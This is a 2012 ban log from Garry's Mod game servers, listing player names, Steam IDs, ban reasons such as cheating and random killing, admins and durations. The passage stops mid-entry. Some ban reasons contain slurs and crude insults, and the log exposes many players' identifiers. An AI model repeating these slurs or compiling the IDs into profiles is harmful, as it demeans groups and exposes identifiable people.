Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:28446368 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:36525933 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:38176760 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:5995530 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:29171828 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:14137101 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:17626391 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:13983114 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:12099804 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:13602538 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:43688624 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:26431054 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:25511182 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:21427056 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:19624868 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:12667741 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:18279666 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:38581282 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:40953131 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:37325264 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:48004946 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:17726148 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:42194705 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:19774979 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:38972880 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:23921311 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:32561559 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:39603922 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:17050506 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:21872927 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:18236678 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:13583020 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:40334407 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:46066 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:40916370 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:23516026 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:46298023 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:33968303 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:17367403 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:13196070 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:26220023 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:21056397 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:40735985 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:31191381 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:25675380 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:20928049 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:41146029 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:1:35038611 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:32 pm 23-06-12 Unknown STEAM_0:0:30883232 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:06 pm 23-06-12 Unknown STEAM_0:0:14169360 Killing without Faction +base for a second time not to mention the amount of times i didnt see +him do it and leaving afer i watch him do it CCD Official Zombified +World|Lvl Cap +10 Zombified World Permanent Banned +3:49 pm 23-06-12 Unknown STEAM_0:1:43945 rdm then left and whiney ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Banned +3:14 pm 23-06-12 AF2lThe Pro STEAM_0:0:10917336 rdming with +granades +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Banned +3:13 pm 23-06-12 proplayer1998 STEAM_0:0:47567750 mass rdm +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:18:33 Banned +3:11 pm 23-06-12 Unknown STEAM_0:0:38237009 rdm then left and is a +sad little boy +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Banned +12:18 am 23-06-12 Û© Matzyboi Û© â?¢ STEAM_0:1:26655405 Killing +Without Faction Base CCD Official Zombified World|Lvl Cap +10 +Zombified World 0:2:0 Unbanned +12:16 am 23-06-12 [UKCS]Ragemode Activate STEAM_0:0:14169360 Killing +without Faction Base CCD Official Zombified World|Lvl Cap +10 +Zombified World 0:2:0 Unbanned +10:36 pm 22-06-12 Doctor Dave, M.D. STEAM_0:0:35687047 Cry Some Moar! +Yea nice RDM Aion Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Banned +9:38 pm 22-06-12 Unknown STEAM_0:0:13380406 Crashing the server, +multiple times +[SP]+ Marked One [SK] Official Zombified World|Lvl Cap ++10 Zombified World 5:5:0 Banned +9:08 pm 22-06-12 hooker STEAM_0:1:20019804 RDM +[SP]+ Marked One +[SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:05 pm 22-06-12 Shadowlagg STEAM_0:1:30881427 Constant RDM +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Banned +9:05 pm 22-06-12 Unknown STEAM_0:1:19893872 Low Karma RDM Discon ++[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +8:57 pm 22-06-12 Unknown STEAM_0:0:41580067 RDM+Discon +[SP]+ Marked +One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:27 pm 22-06-12 Unknown STEAM_0:1:25704172 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:00 pm 22-06-12 Unknown STEAM_0:1:25100272 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +11:26 pm 21-06-12 Unknown STEAM_0:0:14803381 Because its a cool +number Fellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1041:16:0 Banned +11:25 pm 21-06-12 Unknown STEAM_0:0:14803381 Because its a cool +number Fellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 694:10:40 Banned +10:33 pm 21-06-12 Onii-Chan No Pantsu STEAM_0:1:31171534 I ' m on my +period Fellknite Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:20:0 Unbanned +10:29 pm 21-06-12 captain YOLT STEAM_0:1:41800924 mass rdm as the D +Charlie Mops! Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Banned +9:28 pm 21-06-12 Hydro STEAM_0:1:24784527 karma has been shit for +long time and joinging the server to spectate to get karma up to loose +it in one round +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:0 Unbanned +9:12 pm 21-06-12 Unknown STEAM_0:0:15273811 rdm then left 2 times ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +8:54 pm 21-06-12 calv1n STEAM_0:0:1290617 karma kept low +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:30 pm 21-06-12 Unknown STEAM_0:1:5516189 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:12 pm 21-06-12 baaaaah STEAM_0:0:17102833 Proppushing Sanya +Official Zombified World|Lvl Cap +10 Zombified World 1:0:0 Unbanned +8:12 pm 21-06-12 LolipopGT STEAM_0:1:19940416 Proppushing Sanya +Official Zombified World|Lvl Cap +10 Zombified World 1:0:0 Unbanned +6:10 pm 21-06-12 Unknown STEAM_0:1:41116333 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +6:08 pm 21-06-12 al_chelmodeev STEAM_0:1:16804959 avoiding the gag +and mute +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +4:55 pm 21-06-12 masonclegg aged 4 STEAM_0:1:37553004 Doesn't play at +all Azureus Killa's Zombie Survival Server Zombie Survival 0:0:30 +Unbanned +9:26 pm 20-06-12 Skyfire <3 Miso Soup STEAM_0:0:27538303 Alt of +banned ID STEAM_0:0:45816759 (Console) Fretta|Tigergruppe Kommand +Ultimate Dodgeball Permanent Banned +8:56 pm 20-06-12 Unknown STEAM_0:1:32141119 RDM then leaving +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +8:44 pm 20-06-12 leachmanmichaeldadylove STEAM_0:0:50547833 RDM +karma +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +6:51 pm 20-06-12 SEANINATOR436 STEAM_0:0:50971760 low low karma ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +6:48 pm 20-06-12 [MW]KonnA^[danG] STEAM_0:1:9783262 Jerky map abuse +Azureus Killa's Zombie Survival Server Zombie Survival 0:0:30 Unbanned +6:19 pm 20-06-12 Godzilla STEAM_0:0:20651275 rdm then left and +spaming the console +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 0:2:0 Unbanned +9:40 pm 19-06-12 Yuri Sergig STEAM_0:1:8404665 shhh MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +6:18 pm 19-06-12 [UKCS]Ragemode Activate STEAM_0:0:14169360 Alt of +banned ID STEAM_0:1:26655405 (Console) Official Zombified World|Lvl +Cap +10 Zombified World 1:4:32 Unbanned +5:54 pm 19-06-12 â??â?¸â??â??-â?¿â??â??â??â?¨â?? STEAM_0:0:44206974 +get a real name +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:2 Unbanned +5:43 pm 19-06-12 nik-veresch STEAM_0:1:50256674 karma was warned ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:31 pm 19-06-12 Abot17 STEAM_0:1:37755368 low low karma +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +8:05 pm 18-06-12 Unknown STEAM_0:0:51814788 Rdm and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +7:58 pm 18-06-12 DeltasDix STEAM_0:0:20546966 MASSIVE CHILL PILL +NEEDED MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 4:20:40 Unbanned +12:33 pm 18-06-12 Unknown STEAM_0:0:35418753 was banned and wasted my +time +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:13:0 Unbanned +11:48 am 18-06-12 Unknown STEAM_0:0:35418753 +[SP]+ Hatcake +Fretta|Tigergruppe Kommand GunGame 0:0:1 Unbanned +11:33 am 18-06-12 Unknown STEAM_0:0:32967118 unbanning +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:1 +Unbanned +5:16 am 18-06-12 Unknown STEAM_0:1:39500262 idiot +[SP]+ OPTIMUS +PRIME Fretta|Tigergruppe Kommand Trouble in Terrorist Town 69:10:39 +Banned +4:26 am 18-06-12 Unknown STEAM_0:1:11674515 idiot +[SP]+ OPTIMUS +PRIME Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6944:10:39 Banned +3:24 am 18-06-12 Tyler STEAM_0:0:35960738 +[SP]+ OPTIMUS PRIME +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:39 Unbanned +3:14 am 18-06-12 Flyper STEAM_0:0:38691234 +[SP]+ OPTIMUS PRIME +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:39 Unbanned +10:19 pm 17-06-12 Over 9000 Horny Bullfrogs STEAM_0:0:49279815 mass +rdm as the D cunt +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 34:17:20 Banned +9:51 pm 17-06-12 Unknown STEAM_0:0:24755232 karma and rdm +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:51 pm 17-06-12 â??Ï?â?? STEAM_0:0:24755232 change name +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 +Unbanned +9:50 pm 17-06-12 (â??_â??¬) STEAM_0:0:18116919 change name +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 +Unbanned +9:35 pm 17-06-12 Hazasp700 STEAM_0:0:26576328 karma is far far to +low +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +7:27 pm 17-06-12 Unknown STEAM_0:1:46189750 ban request +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 5:0:0 +Unbanned +7:23 pm 17-06-12 Glen =DDD STEAM_0:1:43877525 Rdming traitor against +traitor, det against det Joo) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +4:08 pm 17-06-12 Raptor STEAM_0:0:52609113 Alt of banned ID +STEAM_0:1:10994497 (Console) Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +1:07 pm 17-06-12 Unknown STEAM_0:0:44146680 Faction abuse, taking wep +and leaving without giving it back +[SP]+ Marked One [SK] Official +Zombified World|Lvl Cap +10 Zombified World 1:0:0 Unbanned +1:31 am 17-06-12 Chewyvomit STEAM_0:0:20849559 RDM MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:12:0 Unbanned +12:33 am 17-06-12 Unknown STEAM_0:1:14811705 Mass RDM and Left ++[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 69:10:40 Banned +12:01 am 17-06-12 Madgay The Priest STEAM_0:0:3125277 Karma under +600. +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:10 Unbanned +10:18 pm 16-06-12 beastlyBilly94 STEAM_0:1:45539800 Alt of banned ID +STEAM_0:0:15446164 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +9:31 pm 16-06-12 Unknown STEAM_0:1:15106177 rdming claiming and +left +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +6:56 pm 16-06-12 Sgt.KnowItAll STEAM_0:0:43215667 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:13 pm 16-06-12 Unknown STEAM_0:0:23355914 Rdm and leave. Too tired +to think of an appropriate ban length Fellknite Fretta|Tigergruppe +Kommand Trouble in Terrorist Town Permanent Banned +4:09 pm 16-06-12 dPLEXDIGGEDY STEAM_0:1:11120583 Fellknite +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +3:22 pm 16-06-12 Unknown STEAM_0:0:34897571 mass rdm then left ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:18:40 Unbanned +2:02 pm 16-06-12 ^1Al^4ex ^2=EOB= STEAM_0:0:29181939 rdming +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +11:47 am 16-06-12 Unknown STEAM_0:0:35418753 RDMing and disconnect, +3rd ban +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 4:14:0 Unbanned +5:45 am 16-06-12 We are Trayvon Martin STEAM_0:0:20651275 Alt of +banned ID STEAM_0:0:49248294 (Console) Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 2:5:33 Unbanned +2:01 am 16-06-12 ^1Chili^0Man STEAM_0:1:29133516 Penis, Penis is big +come on Chilli0man give it a lick! ClownsmaN Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 0:0:1 Unbanned +10:58 pm 15-06-12 Unknown STEAM_0:0:24915227 Base Deletion, Retard, +Advertising +[SP]+ Marked One [SK] Official Zombified World|Lvl Cap ++10 Zombified World 17:8:40 Banned +10:17 pm 15-06-12 Crap Assassin STEAM_0:0:26828537 rdming consitanly +for a day or so +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 3:11:20 Unbanned +10:14 pm 15-06-12 Unknown STEAM_0:1:44518926 mass rdm claiming then +left +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 6:22:40 Unbanned +10:14 pm 15-06-12 (DC)Bob STEAM_0:1:14811705 MASS RDM +[SP]+ JoE +CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:1:0 +Unbanned +9:05 pm 15-06-12 Unknown STEAM_0:1:5388189 +[SP]+ JoE CrAcKeR +Official Zombified World|Lvl Cap +10 Zombified World 0:0:1 Unbanned +5:55 pm 15-06-12 Unknown STEAM_0:0:20961409 Ban Request Nemesis +Official Zombified World|Lvl Cap +10 Zombified World 2:0:0 Unbanned +2:17 pm 15-06-12 Unknown STEAM_0:0:46138113 mass rdm then left ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +4:20:40 Unbanned +2:14 pm 15-06-12 FUN G-M@N Rus STEAM_0:0:29622510 mass rdm as the D ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +2:12 pm 15-06-12 Wezzray :3 STEAM_0:1:25179315 karma rdm tit +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +1:46 pm 15-06-12 TheKillCold STEAM_0:1:19984007 0 CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:9:0 Unbanned +12:25 am 15-06-12 Retundro STEAM_0:0:35712887 rdming as the D +claiming rdm then left too +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 2:0:0 Unbanned +9:49 pm 14-06-12 SITHSTALKER STEAM_0:0:46484225 MASS RDM +[SP]+ +EDDIE STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +9:48 pm 14-06-12 [SFT] meowcatz STEAM_0:1:45995690 MASS RDM +[SP]+ +EDDIE STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:51 pm 14-06-12 Û© Matzyboi Û© â?¢ STEAM_0:1:26655405 Moveing base +to kill loners +[SP]+ Anime Official Zombified World|Lvl Cap +10 +Zombified World 6:6:0 Unbanned +1:43 pm 14-06-12 Atsuke STEAM_0:0:23073686 rdm karma rdm score +karma +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 4:20:40 Unbanned +1:28 pm 14-06-12 -=THO=-BlueSatrebor STEAM_0:0:24574346 karma for the +last few days +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +1:44 am 14-06-12 Admiral Akbar STEAM_0:1:15497395 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +3:15 pm 13-06-12 The Barret of Lies STEAM_0:0:21088578 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +1:15 pm 13-06-12 MjBertha STEAM_0:1:42078006 RDM Detective CCD +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +11:10 am 13-06-12 Unknown STEAM_0:1:39462507 rdm then left but was a +cock before hand : ) +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 2:18:30 Unbanned +10:40 am 13-06-12 Caboose STEAM_0:0:27784053 rdm + karma, asshole ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +2:21 am 13-06-12 >NLshadeGears< STEAM_0:0:20408186 rmd? +[SP]+ +OPTIMUS PRIME Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:39 Unbanned +2:02 am 13-06-12 The cable guy STEAM_0:0:50475553 rmd early today ++[SP]+ OPTIMUS PRIME Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 6944:10:39 Banned +1:12 am 13-06-12 Hammerz STEAM_0:0:16084872 saw that +[SP]+ OPTIMUS +PRIME Fretta|Tigergruppe Kommand Puzzle 0:0:10 Unbanned +1:06 am 13-06-12 à¹?Û£Û?StarFire STEAM_0:0:17943321 chill +[SP]+ +OPTIMUS PRIME Fretta|Tigergruppe Kommand Puzzle 0:0:10 Unbanned +5:35 pm 12-06-12 johnnyreb44 STEAM_0:0:45681149 mic spamming and +cocky in general Wiggy Official Zombified World|Lvl Cap +10 Zombified +World 6:22:39 Unbanned +1:22 pm 12-06-12 Unknown STEAM_0:1:25079974 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +10:12 pm 11-06-12 Jonah STEAM_0:0:35980422 Disrespecting admin then +RDM +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +8:20 pm 11-06-12 Wezzray :3 STEAM_0:1:25179315 RDM then leaving ++[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +2:59 pm 11-06-12 Unknown STEAM_0:1:145613 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +2:45 pm 11-06-12 Unknown STEAM_0:1:20673262 rdm then left ( rdming +alot ) +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:22:20 Unbanned +2:21 pm 11-06-12 Unknown STEAM_0:1:38275479 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +11:19 am 11-06-12 Fuzz STEAM_0:0:49248294 Faggot +[SP]+ Danzomanzo +Fretta|Tigergruppe Kommand Ultimate Dodgeball 7:0:0 Unbanned +12:32 am 11-06-12 PILOTENSHIT STEAM_0:1:36459763 RDM Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +10:05 pm 10-06-12 AugmentedReality STEAM_0:1:21967316 advoiding the +mute so many times : ) +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Deathrun 1:0:0 Unbanned +8:49 pm 10-06-12 gonsas1111 STEAM_0:0:42795089 rdm then left ( your +karma is poor too ) +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 1:0:0 Unbanned +8:35 pm 10-06-12 larsdegeakste STEAM_0:1:51558033 rdming all night +karma +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 3:11:20 Unbanned +8:02 pm 10-06-12 {Pk} SaiBTBhoeLeo STEAM_0:1:34685737 rdming using +lift +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:11:50 Unbanned +5:01 pm 10-06-12 Unknown STEAM_0:1:28966923 mass rdm as the D then +left +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 4:20:40 Unbanned +2:18 pm 10-06-12 Mr. Tom STEAM_0:1:15921340 RDM Dribble +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +1:25 am 10-06-12 STEAM_0:1:26271093 IDIOT +[SP]+ OPTIMUS PRIME +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 694:10:39 Banned +11:59 pm 09-06-12 le monkey face STEAM_0:1:18663954 rdming +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +11:59 pm 09-06-12 [GXYSV]Infiniteloop STEAM_0:0:38555978 you karma +mass rdm +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +11:58 pm 09-06-12 Unknown STEAM_0:1:1844928 idiot rdm +[SP]+ OPTIMUS +PRIME Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:39 +Unbanned +11:58 pm 09-06-12 !<>**>/9GAG LEGION\<**<>! STEAM_0:1:35377972 mass +rdm +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 3:11:20 Unbanned +11:55 pm 09-06-12 RUNDMC STEAM_0:1:33365891 speedhack +[SP]+ +Mindtwistah Killa's Zombie Survival Server Zombie Survival +Permanent Banned +11:53 pm 09-06-12 Unknown STEAM_0:0:14490917 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 +Unbanned +11:51 pm 09-06-12 